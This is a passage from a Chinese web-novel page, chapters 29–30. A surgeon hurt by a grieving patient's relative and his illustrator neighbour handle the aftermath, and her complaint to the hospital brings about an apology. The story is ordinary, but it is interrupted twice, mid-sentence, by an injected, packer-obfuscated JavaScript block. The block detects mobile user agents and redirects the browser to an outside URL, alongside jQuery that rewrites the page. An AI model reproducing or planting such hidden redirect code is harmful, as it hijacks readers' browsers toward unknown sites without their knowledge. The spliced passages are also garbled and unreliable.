黄转青捧着保温桶,感觉像捧了个烫手山芋,耳朵尖都红了,憋了半天:“周桨鸣!你神经病啊!”
周桨鸣已经在客厅沙发坐下:“汤凉了就不好喝了。”
黄转青化悲愤为食欲,用最快速度把一保温桶汤喝了个精光。
喝完汤,认命地打开周桨鸣带来的一袋子药。
其实按道理,他肩膀和手臂的伤白天小郑刚处理过,不用当天就换。
但小郑白天处理得不够仔细,且当时用的药是应急的普通敷料,效果一般。
后来处理时才又去问诊开了新的,叮嘱了今晚必须换一次。
黄转青只能硬着头皮上。
尽量让自己的动作显得专业且心无旁骛。
整个过程,她屏住呼吸,眼神盯着伤口,手指尽量避开他裸露的皮肤,感觉比跑八百米还累。
周桨鸣倒是很配合,一动不动。
只是偶尔能感觉到他落在黄转青身上的视线,让她头皮发麻。
好不容易换完药,黄转青手上沾了药膏,粘嗒嗒的。
她起身:“我去洗手!”
周桨鸣应了一声也站起身,把衣服穿上,拿起她喝完的保温桶,走去厨房洗碗。
又看见厨房水槽里泡着的碗碟,顺手一起洗了。
等黄转青从厕所洗完手出来,就看到周桨鸣正站在她家水槽前,水流哗哗。
黄转青有点不好意思:“你放着我自己洗就行。”
“没事,顺手。”周桨鸣三两下就洗完,把洗好的碗碟整齐地放在沥水架上。
擦干手转过身,看着还有点发懵的黄转青:“我妈让我跟你说,明天中午下楼吃饭。正好你俩那个植物科普项目,可以当面沟通一下细节,省得线上说不清。”
这样确实比线上沟通效率高。
“那很好了!”她点点头。
周桨鸣拎起那个空了的保温桶,站在门口换回自己鞋。
又看向黄转青:“那我明天上来接你。”
说完,没等黄转青反应,门就被轻轻带上。
29. 我们说好了的,不能骗人
敲门声响起。
周桨鸣站在门口,依旧是简单的卫衣长裤,下颌伤口依旧醒目。
“正好你来了,江湖救急。”
他没说话,只是挑了下眉,用眼神询问救什么急。
“快快快,进来啊。”黄转青侧身让他进来,指着客厅角落几盆状态一般的植物,“帮我把这几盆抬到浴室去,得浸盆。它们最近有点干过头了。”
周桨鸣的目光扫过那几盆植物——一盆都不认得。
但他也没多问,走过去弯腰就准备搬。
“等等!”黄转青连忙喊住,一脸严肃,“小心点搬啊,别磕着碰着花盆,尤其是栀子花,刚打花苞呢。还有,你受伤那边肩膀别用力。用这边。对,左手托底,右手扶着就行。”
周桨鸣保持着弯腰的姿势,侧过头看她,很无语。
“你管天管地管花,连我怎么用力都要管?”
黄转青理直气壮:“怎么?不能管?我这是为你好,也为我的花好!双重保险。”
周桨鸣看着她那副很有道理的样子,只能认命点点头:“能,您说了算。黄老师指哪儿我打哪儿。”
他放轻了动作,按照她的指导,用没受伤的手臂承重,将四盆植物一一搬进浴室。
放进盛了水的盆里,让盆土从底部慢慢吸水。
做完这一切,周桨鸣活动了一下没受伤的肩膀。
黄转青看着他:“你下次来自己带双拖鞋过来吧?老套鞋套也不是事儿。”
周桨鸣很干脆:“行。”
两人这才下了楼。
周桨鸣家。
陈毓看到两人进来,笑着招呼:“青青来啦!快坐!汤马上就好!”
地板上,小叮当慵懒,四脚朝天。
三人一猫,围坐在餐桌旁,错落有致。
陈毓给黄转青舀鲫鱼豆腐汤:“补钙,对骨头好。”
“谢谢姐。”黄转青接过。
“什么姐?”周桨鸣以为自己听错了……什么玩意儿?
“青青是小叮当的姐姐,那不就跟我是姐妹吗?叫我姐没毛病。”陈毓拍了一下儿子没受伤的肩膀。
“……您自己觉得合适吗?”
“合适啊,咱家一直都按你舅舅的辈分走称呼的,你不是知道吗?”陈毓还蛮疑惑。
“……”
周桨鸣连哼都不想哼了,随便吧,摆烂吧。
看了眼地上的舅舅,正睡得翻白眼呢。
吃完饭后。
“项目资料我昨晚又整理了一下,”陈毓进入工作状态很快,指着电脑屏幕上的照片,“我们第一个科普对象,我建议选槭叶铁线莲。”
陈毓调出一张高清照片,“它的叶子形状像缩小版的枫叶,非常漂亮。更重要的是,它是北京特有的濒危植物。”
黄转青来了兴趣。
“只生长在北京。开花结果率很低,种子传播困难,自然繁殖能力非常弱。比大熊猫还稀有。”
黄转青看着屏幕上那张照片:“好,就它。”
工作推进得很顺利。
黄转青负责从大众传播角度提出想法。
陈毓提供专业的植物学知识和保护现状。
周桨鸣则负责洗碗,洗完了又在厕所里给舅舅洗自动猫砂盆。
聊完正事,陈毓要进房间睡午觉。
只剩黄转青和周桨鸣两人在客厅。
黄转青想起昨天的事:“昨天院办那边,最后怎么定的啊?”
周桨鸣平淡:“还能怎么定?流程走完了。报告交了。保卫科加强了巡逻。院领导象征性地慰问了一下,说辛苦了,让我好好养伤。”
“就这?那个打人的家属呢?道歉了吗?赔偿呢?”黄转青实实在在不解。
周桨鸣扯了扯嘴角:“没道歉……算了吧。他家里条件挺困难的。医院出于人道主义关怀和息事宁人的考虑,象征性地给了点医药费补偿。我这边伤情鉴定够不上重伤。”
“这算什么处理?”黄转青有点生气,“因为你伤得不够重,他家里困难,他做的事就可以轻飘飘揭过?医院也不管?”
“医院有医院的难处。”周桨鸣无奈,“现在医患关系紧张,舆论压力大。一旦事情闹大,不管谁对谁错,医院首先承受的就是质疑和骂名。为了稳定,很多医院碰到这种事,最终选择的就是冷处理,大事化小,小事化了。让医生忍一忍,让一步。”
“委屈一个医生,比影响整个医院运行要划算。这就是现实。穿上白大褂是医生,脱了白大褂,可能就是个麻烦。”
黄转青听着,不知道该说什么好。有点委屈。
替周桨鸣委屈。
他不该承受这些的。这不公平。
她明白,医闹的那家人,不是纯粹的坏人,都是被苦难压垮失去理智的可怜人。
不是坏人,但的确做的是坏事。
一码归一码。
黄转青听到周桨鸣说那家人家里条件困难,那刘强治病的这么多钱是哪里来的?
是有捐款吗?
“周桨鸣,刘强他家境很困难?他治病的费用,那么一大笔钱,最后是怎么解决的?”
她假装问得轻松,但一直在看周桨鸣的脸色。
周桨鸣没料到她突然问这个,回:“他们家开了水滴筹。社会上也有捐款。”
“你是不是也给他们家捐了钱?”
周桨鸣避无可避。点了一下头。
“你尽心救治,还承担了经济负担,他们为什么还是这么恨你?打你的时候,他认定是你治死了刘强,把你当成了仇人。他们是不是根本不知道你做的这些事?不知道那些钱是你出的?”
周桨鸣过了好一会儿,才开口:“没必要知道。”
“知道了又能怎样?能抵消刘强死去的痛苦吗?能改变我最终没能救活他的事实吗?不能。告诉他们,反而像在用钱买他们的谅解,用道德去绑架他们的悲伤。不需要这个。”
这番剖白应该是让空气都无法转圜,直愣愣冲,碰壁后再回头。
不然黄转青怎么会突然觉得缺氧。
“周桨鸣,看着我。”她轻声说。
周桨鸣听话。
“我不是要报复他们。我不是要用你捐钱这件事去打他们的脸,去强迫他们感恩戴德。”
黄转青一字一句,“我只是觉得,你需要一个道歉。一个来自那个男人的,为那天落在你身上的拳头和污蔑的道歉。并不是为了抵消什么。”
她在学习周桨鸣的说话方式:“你觉得你需要吗?周桨鸣,说实话。看着我,告诉我。我们说好了的,不能骗人。”
周桨鸣看着黄转青近在咫尺的脸。
过了很久,非常明确地点了点头。
他承认了。他需要那个道歉。
黄转青轻轻拍了拍周桨鸣没受伤的那边肩膀,是一个无声的承诺和温柔的安抚。
黄转青不骗人,的确不是想报复。
报复解决不了任何问题。
只是不想让周桨鸣这样不明不白地受委屈。
起码他值得一个道歉。一个正视错误的道歉。
起码事情的真相应该被更清晰地呈现。
时间的流速总是会以人的意志为转移,偶尔快进,偶尔又是粘稠的慢镜头。
陈毓雷厉风行,一周内来过周桨鸣家里三次。
虽然打着照顾儿子的旗号,但第一次带着资料夹和打印的高清照;
第二次带着便携式显微镜和关于槭叶铁线莲种子萌发实验的报告;
第三次带着新鲜标本。
周桨鸣对此:呵呵。
科普插画是项目的第一印象,既要严谨科学,又要直观吸引人。
生长环境、形态特征、濒危原因,逗必须精准无误地传达。
黄转青丝毫不敢懈怠。
纸上标记出了主体植物,背景峭壁,以及比例尺的位置。
槭叶铁线莲只生长在石灰岩悬崖缝隙。
她需要描绘出岩石的质感,狭窄的生存空间。
再观察叶脉走向,边缘锯齿,叶柄长度,茎的缠绕特性,幼嫩部分可能存在的绒毛感,花苞初期的形态。
虽然主体插画是宏观的,但可能需要一个小的放大镜设计,展示花朵或种子的详细结构。
这也需要构思细节框的位置和内容。
而如何在画面中传递濒危信息?
除了环境,黄转青考虑在画面边缘和背景深处,加入一两株状态不佳的同种植物,暗示其生存不易。
黄转青有经验画得快,一周已经完成了初步构图草稿,确定了画面布局。
叶片形态练习稿堆了一小摞。
信息框设计初稿也完成。
这一周里,要不是周桨鸣右肩的伤需要定期换药,都怀疑黄转青可能压根不会把自己从椅子上拔起来。
有时候她自己也感慨,是自己帮周桨鸣换药,还是周桨鸣帮自己维持生命……
第一次敲门时。
周桨鸣手里拎着药袋,带着新买的拖鞋,神情自若:“换药时间到。”
黄转青心思没在他身上,随口应了。
等他脱掉上衣,露出上半身,她才回过神,眼神都不知道该往哪放。
周桨鸣故意:“黄老师,换药就换药,专心点。别对我动手动脚的啊。”
“谁要动你?”黄转青手下力道没控制好,棉签按在伤口边缘。
“得亏你没当医生……不然一天投诉你八百回。”
黄转青瞪他一眼,努力小心翼翼。
第二次换药。
黄转青动作利索,揭开敷料,消毒,涂药,重新包扎。
周桨鸣故技重施:“换药就换药,别趁机占便宜摸我啊。”
黄转青手上动作不停,头也不抬回怼:“怎么?不是你想要我摸你?不是你巴巴地脱了衣服送上门?”
周桨鸣一愣,没料到她会回击,没忍住笑起来。
“是啊,那你摸摸腹肌呗?特意为你练的。”
黄转青手里的胶布贴歪了。
她眼神难以置信的嫌弃:“你是变态吧?”
周桨鸣笑得更大声。
黄转青翻了个白眼,用力把胶布按平,暗骂:脸皮是城墙做的吗?
到了第三次,第四次换药,这几乎成了固定流程。
周桨鸣脱衣服脱得自然,黄转青处理伤口也驾轻就熟。
他再逗她别动手动脚,她就面不改色回敬:腹肌练得不错,继续保持。
周桨鸣的拖鞋也取代了蓝色的塑料鞋套,放在了黄转青家门边。
偶尔会在黄转青也出门时,和她的拖鞋并排而放。
到了黄转青腓骨骨折的复查日。
周桨鸣开车送她去医院。
“你自己进去没问题吧?片子拍完结果出来叫我。”周桨鸣把她送到电梯口。
“小意思。”黄转青摆摆手。
“我去那边抽根烟。”周桨鸣指了指不远处的吸烟区。
“少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196573|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抽点。”黄转青叮嘱了一句,进了电梯。
周桨鸣并不知道,就在他走向吸烟区时,黄转青在骨科诊室外的候诊区,再次看到了那个佝偻的身影——刘强的母亲。
她比上次见到时更瘦,像一片枯叶。
黄转青的情绪南平,犹豫了几秒,还是在老人旁边的空位坐下。
“阿姨。”黄转青轻声。
刘母迟缓抬起头,认出了黄转青:“姑娘,腿好了吗?”
“好多了,谢谢阿姨关心。您怎么来了?”
刘母的眼泪涌了出来:“我儿子的后事都办完了,就在前天。”
她似乎说不下去,只是不停地抹眼泪。
“您要保重身体。”黄转青只能干涩安慰。
陪着刘母坐了一会儿,广播叫到她的号。
她站起身:“阿姨,您多保重。”
复查结果很好,骨头愈合顺利,医生给取了石膏,嘱咐可以慢慢尝试脱拐行走。
周桨鸣接她回去的路上,她异常沉默,周桨鸣以为她是累了,也没多问。
回到家,黄转青没有立刻去工作。
她关上门,拿出手机,调出那段记录了候诊大厅混乱一幕的视频。
画面里,刘强姑父的咆哮,挥舞的拳头,周桨鸣被推搡的身影,保安迟来的阻拦,都有。
然后打开电脑。
这是她深思熟虑后的决定。
她登录周桨鸣所在医院的官网,找到了投诉建议的入口。
投诉主题:关于候诊区暴力事件及医院安保失职的投诉。
投诉人:黄转青,事件目击者及受惊扰患者。
被投诉方:医院。
详细描述了事发时间、地点,及暴力袭击过程。
根据《医疗纠纷预防和处理条例》第十五条,黄转青明确指出保安人员虽最终到场,但反应不够及时,未能有效在暴力发生时进行阻止,导致周桨鸣医生遭受人身伤害。
因此对现场其他患者的就医环境安全权造成侵害,导致了患者产生强烈的恐惧感和心理阴影。
黄转青还补充说明,周桨鸣在刘强治疗期间,不仅尽职尽责,更在其家庭经济困难的情况下,以匿名方式通过社会筹款平台进行捐款。这一事实,涉事家属毫不知情。周桨鸣在承受其无端暴力伤害的同时,还承担了其家庭的经济负担。
黄转青写得清晰。
一要医院必须正视其在本次事件中的安保失职问题,加强安保措施,杜绝类似事件再次发生。
二要医院应主动联系涉事家属,向其说明周桨鸣匿名捐款的事实真相,并要求其就暴力伤害行为向周桨鸣医生进行正式公开的道歉。
三要医院应对投诉人因目睹暴力事件导致的心理阴影给予书面解释和致歉。
最终还有一句:投诉人持有事件现场完整视频证据。若院方在七个工作日内未给予回应并推动道歉事宜,投诉人将保留向卫健委进行进一步投诉举报,并向社会公开相关证据的权利。
黄转青逐字逐句检查,确保逻辑清晰,诉求明确。
既有法理依据,又有情理事实,还有视频证据作为威慑。
强调了自己作为受惊扰患者的身份和心理阴影,比单纯为周桨鸣出头更有策略性,也更能触动管理层的神经——毕竟,患者体验和安全是医院评级的重要指标。
这不是报复,也不是为了彰显什么。
她只是想去碰一碰那看似坚固的息事宁人的墙。
涟漪会迅速扩散到它该去的地方。
医院管理层高度重视。
那段视频是无可辩驳的铁证,证明了安保确实存在疏漏。
黄转青以受惊扰患者身份提出的投诉也很有分量。
周桨鸣匿名捐款的事实,则让整件事的性质变得令人唏嘘。
院方紧急开会,权衡利弊。
冷处理周桨鸣的委屈是一回事,但涉及到患者投诉,安保漏洞被坐实,可能引发更大的舆情,那就是另一回事。
他们很快联系了刘强的姑父。
压力和信息最终传递到了该去的地方。
黄转青复查完,周桨鸣也重返工作。
一个傍晚。周桨鸣刚结束一台手术,就接到一个陌生的本地号码来电。
他接起:“喂,你好。”
“周医生,我是刘强他姑父。”
周桨鸣没有应声。
“我今天刚知道强子治病那些钱,你给捐了那么多。你帮了我们那么多。”
听筒里只有粗重的呼吸声。
“我对不起你,我不该打你啊!周医生我对不起你,真的对不起!”
周桨鸣听着依旧沉默。又看到那个在挥舞拳头的男人,看到黄转青替他委屈时明亮的眼睛。
“好的,道歉我收到了。”
他没有说没关系,也没有说原谅。只有:道歉,他收到了。
挂断电话,他走到窗边,看着楼下熙攘的人流和车灯。
拿出手机翻到黄转青的号码。最终却没有按下去。
点开微信,给她发了一条信息:“我今天下班早,晚上想吃什么?”
没有提道歉。
过了一会儿,黄转青的回复跳出来,带着一个翻白眼的表情:“自己叫外卖!我时间紧任务重,没空理你。”
周桨鸣看着拒绝,莫名其妙开始傻乐。
医院大厅的宣传栏上,“和谐医患关系”的标语泛着光。
周桨鸣走过时,看都不看。
30. 再见悲哀
北京的深秋,应是景美人美。
可黄转青被两根鞭子抽打着。
一根是陈毓的植物科普插画,另一根是孟知春导演对新话剧《回声》的狂野构想。
日以继夜,沉浸在画纸之间,水彩的晕染与工笔的勾勒交替。
岩石峭壁的冷硬粗粝,茎蔓的柔韧攀附,叶片的脉络,花蕾的形态,都被她捕捉。
那个信息框里,放大后的花朵结构图也已着色完成,科学性与艺术性融合。
整幅画作进入最后的调整阶段,进度条已加载至95%。
与陈毓的沟通也顺畅。
在严谨的科学框架内,给予了黄转青极大的艺术发挥空间。
她欣赏黄转青对濒危感的视觉化表达,背景深处状态萎靡的同种植物,以及主体植株充满生命张力的亮色。
与此同时,《回声》项目的齿轮也在高速转动。
孟知春导演的风格果然一如既往,再次跳脱了传统话剧的叙事框架,转向更注重情绪流动和意象叠加的实验性表达。
视觉,被提到了前所未有的高度。
黄转青线上参与了好几场创意会议。
会议里充满了天马行空的碰撞:如何用光影切割象征记忆的碎片化?如何用不断变换的装置暗示角色内心的回声?
每一次讨论都是头脑风暴,烧得黄转青既兴奋又疲惫。
一次会议结束,孟知春特意留下黄转青单独聊了几句。
“你辞职了?”
“对,彻底是自由身了。”黄转青坦言。
“很好!”孟知春的声音里是毫不掩饰的赞许,“我就知道你不缺做选择的勇气。也愿意备付代价。人这一生关键的节点就那么几个,能有勇气做出选择,比什么都重要。这也需要魄力。”
做选择的勇气。黄转青重复着这句话。
勇气……
她想起那个晚上,周桨鸣表白的那个晚上,那个在心跳如雷中选择了逃避的夜晚。她当时拥有的是勇气吗?
好像不算是。
线上会议结束,陈毓的微信消息就跳出:“青青,晚饭下来吃哦!”
黄转青揉了揉脸,关掉电脑,深吸一口气,将《回声》搁下,也将那点关于勇气的怅惘搁下。
下楼,推门进去,周桨鸣果然也在。
桌上还放着一盘果切。
“快来!”陈毓招呼她坐下,指着那盘香瓜,“尝尝这个,我们植物园一个搞瓜类育种的同事自己种的,试验田里就结了几个好的,周桨鸣小时候可喜欢吃这个瓜。”
周桨鸣拉开椅子坐下,立刻反驳:“我爱吃的不是这一种。我爱吃的是羊角蜜那一种。”
他话说完,黄转青像个小学生回答问题一样,举起了手。
眼睛亮晶晶看着周桨鸣,看完又去看陈毓:“我也爱吃羊角蜜那一种!”
周桨鸣其实心里笑得不行,但是故意撇撇嘴,幼稚的挑衅:“你也爱吃啊?不给你吃。羊角蜜,羊角me,”他特意加重了me的音,“是我的,是me的。”
“周桨鸣!你小气鬼!”黄转青炸毛,隔着桌子要打他。
像只河豚。周桨鸣被逗得不行。
陈毓看着这两个加起来快六十岁的人像三岁小孩一样斗嘴,无语的摇头。
吃完饭,黄转青看见了墙上的日历。
十一月末的数字,脆脆的,像瓜一样,脆脆的,也像感叹号。
语气里带上了几分真切的惆怅,讲话也带着脆脆的感叹号:“时间过得好快啊!北京最美的秋天,好像就这么错过了!都没来得及去看一眼!”
周桨鸣也顺着看了一眼日历,想的却是另一件事:“你月经来了吗?”
黄转青点点头:“最近两个月都很准时。”
周桨鸣放下心,这才接话:“错过也不是什么坏事。”
黄转青看向他。
他接着说:“错过了这一季,下一季它还会来,也许还更盛大。错过了又不是失去了。”
“季节不会失去,但有的东西错过了就是失去了。”黄转青拧巴住。
“那就是会遇到更好的,更适合自己的。而且有的错过,兜兜转转,在另一个时间点没准就又重逢了。”
是的,时间的筛子很奇妙,它会筛掉一些浮光掠影,留下真正有分量的。
错过可能就是一种筛选,一种沉淀。
让你在再遇见的时候,更懂得它的珍贵,也更清楚自己想要什么。
所以别害怕,黄转青。
黄转青点点头,心被叩击着。
很多时候以为的错过,可能放到漫长的人生河流里去看,并非真正的失去。
而恰恰是在那个岔路口,命运以一种沉默的方式,引导你去拥抱一些在当下看来模糊不清、却在未来至关重要的事物。
那么,被她错过的周桨鸣呢?
不,那真的能算错过吗?
她当时选择了逃避,那份告白连同那个夜晚,被她按下暂停,封存在那里。
并非像错过的秋天那样有明确的周期性,更像一个没写完的句子。
会是属于她的吗?还会再出现吗?
她忽然再次想起小时候因为拜拜而错过的那场晚霞,后来如她所求还给了她。
那么,周桨鸣也会像那场晚霞一样,换了一个时间,换了一种心境,等待着她的抬头吗?
周桨鸣不知道对面的人心里的翻江倒海,不知道她进行着一场关于错过与拥有的哲学思辨。
他只是在想,今年的秋天虽然错过了,但明年,后年,还有很多个秋天。
而他身边这个为了错过秋天而惆怅的人,此刻鲜活地坐在他旁边,这感觉比完美的秋色更精彩。
黄转青和虞鱼、汪蓝约了个饭。
聊工作,聊八卦,聊生活里的鸡毛蒜皮,暂时将那些沉重思考抛在脑后。
结束时已近晚上九点,走出餐厅才发现,不知何时下起了雨。
深秋的雨,不大,却细密缠绵,将城市浸泡,等待一场发酵。
“这鬼天气!”虞鱼裹紧外套抱怨。
“叫车吧?”汪蓝拿出手机。
黄转青也掏出手机,就看到周桨鸣的消息:“在哪?定位发我。下雨了,我过来接你。”
黄转青压下心头异样,把餐厅定位发了过去。
再抬头对虞鱼和汪蓝说:“一会儿咱们一起走吧,周桨鸣开车过来了。”
虞鱼开始怪叫,汪蓝倒是展开温柔的笑容。
她们又进餐厅坐了会儿。
大约二十分钟后,周桨鸣把车停在路边。
虞鱼和汪蓝跟周桨鸣简单打了个招呼。
汪蓝坐好就闭上了眼睛,这就困了。
虞鱼则像小动物一样探出头来看了周桨鸣一眼,看看还是不是她印象里那个周医生!
这边黄转青刚坐稳,发现中控台上放着一盒果切,被打包袋遮挡,所以看不清晰。
虞鱼汪蓝不是没边界感的人,并不好奇。
黄转青其实有点好奇,但她的好奇心被尴尬抓走了。
因为她一上车,车里原本流淌的的音乐就戛然而止。
蓝牙自动连接上了黄转青,音乐因此被切断。
周桨鸣没在意这小小的插曲,没说话,也没重新连接。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16202426|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虞鱼和汪蓝似乎也没在意。
黄转青于是不敢在意。
雨刮器在挡风玻璃上规律地左右摇摆,刮开一片片迷蒙的水光。
车内叽叽喳喳,虞鱼一会儿一个问题一会儿自己又给出一个答案,没人在意音乐的消失。
先把虞鱼和汪蓝各自送到她们小区门口,再开回家。
黄转青看着窗外被雨水冲刷得模糊不清的街景,思绪有些飘忽。
终于车子开到了自己的小区门口。
黄转青以为他会直接开进去。
然而,周桨鸣却将车停在了小区大门外的临时停车区,熄了火。
雨还在下,但比刚才小了一些。
黄转青以为他一会儿还有事,就解开了安全带,准备去开车门:“那我先进去了?你晚上注意安全啊,谢谢啦,再见。”
“等等。”周桨鸣转过头看她,“我没事。一会儿就开进去。雨小了,我们看会儿雨吧?”
他的语气很平常,带着点商量的意思。
可是黄转青的心绪并不平常。
看雨?为什么突然要看雨?他知道她心里也下了一场雨吗?
但那疑问并没有问出口。
她重新坐好,点点头:“好的。”
看她没有不情愿,周桨鸣松了口气。
忽然倾身过来,手臂越过她的身前。把她解开的安全带重新扣上。
“你这是干什么?”
果然是医生吗,格外注重安全,格外战战兢兢。黄转青只能想到这些。
周桨鸣坐回驾驶座,侧头看着她,表情显然是戏谑。
半真半假地说:“怕你跑了啊。双重保险。”
黄转青被他莫名其妙的举动和理由弄得无语,翻了个白眼:“下着雨呢,我跑哪儿去?”
周桨鸣笑了起来,他没接话。
把中控台上的那盒果切拎出来放到了黄转青腿上:“给你的。”
黄转青一边问着是什么,一边打开。
里面是一盒羊角蜜。
“你昨天不是还说不给我吃羊角蜜的吗?!”黄转青哼哼!
“这又不是羊角蜜。”
“那这是什么?!”黄转青大感震惊。
“是羊角You。”周桨鸣说得一本正经。
“……你几岁了啊?”
“十八啊。”
“……”黄转青无语凝噎。
周桨鸣看着黄转青安静吃瓜,打开了音响的控制面板:“放点音乐吧。连着你的蓝牙呢。”
黄转青放下瓜,拿出手机,点开音乐app,又看到了那首《词不达意》。
像一个标记,记录着那个词不达意的夜晚。
她轻轻下滑,点开了另一首,《再见悲哀》
当初终止于《词不达意》,而没能放到的《再见悲哀》
心脏开始狂跳,像是某种冥冥之中的呼应,又像是一个迟来的句点。
【怀念最好我便会继续爱惜我,
花瓣飘过美在不顾结果。
人存活在世就似沙粒飞过,
谁又曾为了谁褒贬过。
……
全是一种经过。】
两个人都没有说话,只是静静听着。
窗外的雨丝无声飘落,车窗上凝结了一层水汽。
外面的世界因此氤氲,北京也因此温柔。
我不再计较任何结果吗?
什么都可以坦荡吗?
真的能再见吗?
那份因逃避而生的遗憾,也能就此告别吗?
她忍不住扭头看向周桨鸣。
他刚才说,看会儿雨。